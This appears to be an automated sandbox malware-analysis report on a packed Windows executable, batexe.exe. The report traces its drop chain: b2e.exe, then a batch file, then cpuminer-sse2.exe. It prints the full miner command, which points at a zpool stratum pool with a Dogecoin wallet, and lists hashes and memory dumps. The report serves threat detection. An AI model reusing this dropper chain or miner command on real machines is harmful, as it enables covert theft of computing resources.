73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
289s
max time network
298s
platform
windows10-1703_x64
resource
win10-20240221-ja
resource tags

arch:x64arch:x86image:win10-20240221-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
22/02/2024, 01:20

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
372	b2e.exe
3756	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
3756	cpuminer-sse2.exe
3756	cpuminer-sse2.exe
3756	cpuminer-sse2.exe
3756	cpuminer-sse2.exe
3756	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/164-5-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 164 wrote to memory of 372	164	batexe.exe	71
PID 164 wrote to memory of 372	164	batexe.exe	71
PID 164 wrote to memory of 372	164	batexe.exe	71
PID 372 wrote to memory of 1888	372	b2e.exe	72
PID 372 wrote to memory of 1888	372	b2e.exe	72
PID 372 wrote to memory of 1888	372	b2e.exe	72
PID 1888 wrote to memory of 3756	1888	cmd.exe	75
PID 1888 wrote to memory of 3756	1888	cmd.exe	75

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:164
- C:\Users\Admin\AppData\Local\Temp\9EFF.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\9EFF.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\9EFF.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:372
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\A3E1.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1888
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:3756

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\9EFF.tmp\b2e.exe

Filesize
1.9MB

MD5
db5c09852a9dce74cc260d402b8487bb

SHA1
7f53cb14088c23cb2140e52b245535100dfbea85

SHA256
e7a5f75e6901b233b87b806134d5bea194e44705f263f86f471c89fd16d9e262

SHA512
83f204c1b641a7c4e33b91cad2fe52c450637ff5653a8d98709d728f7930e9a9e13ceb974c2cf8e622f5ded0766ec86ca01684e3af80f6fd00100c27f36df133

Download Submit
C:\Users\Admin\AppData\Local\Temp\9EFF.tmp\b2e.exe

Filesize
2.1MB

MD5
099e18cf84312ee05add20eaed01b2c0

SHA1
3aedb8f0362d50274ec7bf1e79bbd3923b47cc13

SHA256
8856beb3ce39073034ad1cd1b72251224cbe3b2861af9086947470096666312c

SHA512
70c26948eecb460a2c035d8bec9f100588244a0c621fe26c13826bef00464051b54e200abfd73cb07bbe76c6c807317dc90b4974a739be718e37aa2621c134ec

Download Submit
C:\Users\Admin\AppData\Local\Temp\A3E1.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
384KB

MD5
eb8ea4d2595402528f73410e2c8651ed

SHA1
23abb385032a9317d00c826eb21e0fe6fc802c50

SHA256
fc3c5c1787c58c465ea47ab132afc59d209b1f7d319ae80a7913ed5c39157017

SHA512
7f4485a662859bdec898bb4f9675c8a834ab570ae7f4df2b6e95a9f5ab45f8fba612d04f0edfe22dc4bdcd3011af0536ed200731262056cd7bec332ce4b18573

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
384KB

MD5
b91f7bb5508b343188ec32dcc7880611

SHA1
fe2ae7ba4a1bbb2a5df7b73f21a0b8fc745cc11f

SHA256
47881756cdfcb302e63efb2016c122a1bb61574d81186275aef3d5a9fb72b84b

SHA512
a5b91bc653cbf28219b6f169d5d849fb53eced9a932b8edf468c9092544795ee8120d5c76f0c45f27b7a2464c328f5bffcabf3e83d2e7236263ea930cf92eea0

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
384KB

MD5
4cb3a8d3af58faf78da4dd33a03029db

SHA1
5356e4fb04a7047f6fc82a4e071e4803f97a0f3d

SHA256
86df790940bd442466ea58a434a31aaaadd1d23a9e9bf5e6fe625ff49049d620

SHA512
244237f4a13a7666e9f9592451dbb8bb18ca1f828d66f97e2890fa8f6be690d8890848102a8be253542c9f4b154d9f0e1aeeee5a867c866b78b64f9949f48c89

Download Submit
\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
448KB

MD5
19a61444b6e2d01755ede80960bca19c

SHA1
e0c7222784d3e2b3329ec3280648b17fd60ef209

SHA256
13fd488b38f3b75438e9ad0a033df005cd397f3c92f43275714a0a7eb3fb4db8

SHA512
bc02c82bdac19f10f3e3a93d3f507bb7838c9255b7cff5af6e3a7f3b471dae9c45c52728c3c23857b3402dd1702cb51a20f225a4da992c26a997c26d86b6b1d9

Download Submit
\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
320KB

MD5
e63bf5df87e2ea807dc353cc5aa9aab1

SHA1
69fc94bbebe878711cb133c3a1affb80c0bdecff

SHA256
2c9d6315f90367b959d3c32badd99bbc03eb808e4a46db72ccf2e81788b41533

SHA512
70f2b2a8a4c8ab23d81266cd23b75c27ced29a1eab8c80d95c57b595b10254b7229cc03b637716edbfad2a83827f2c557847b98d1de80256beec05c9512ee4bd

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
256KB

MD5
1d86b9560854472453237bcbaa2e253f

SHA1
5a03a7902d250377a3e9f746badcb696e2c98228

SHA256
1493703a430c68bdcedcb4078486daca39a02820199e7b72017c7b1af66e1c8d

SHA512
afbc3d7f8e06e41db25d666999f4d162af7054a66b17a651ac8a7f092f83580a067bfa2f558be65ace5966dffaa8735fe7a579e88bf42b34eaa3e72cdec96699

Download Submit
\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
320KB

MD5
1ae43cc09627ff82d15527ea2693fd76

SHA1
c39ffa1a4b80c29fa1f5caed3e7d091253266c66

SHA256
b63980c9d592a6d0d8521f74bd4c6f7cc4ae5f8c3320d2bd63764c56648ac45f

SHA512
21945e4e2fad3ee2b2a19d19bbbc1ada832c33a0d3bf499d6ac8f093b39021323ea0f7df3d54167a3456cbaf01ff126a6e6abbe17dd4eb8d5a24ca000888c271

Download Submit
memory/164-5-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/372-6-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/372-55-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/3756-42-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/3756-66-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3756-43-0x0000000076060000-0x00000000760F8000-memory.dmp

Filesize
608KB

Download
memory/3756-44-0x0000000001120000-0x00000000029D5000-memory.dmp

Filesize
24.7MB

Download
memory/3756-45-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3756-50-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3756-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3756-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3756-61-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3756-41-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/3756-71-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3756-76-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3756-81-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3756-86-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3756-91-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3756-96-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3756-101-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download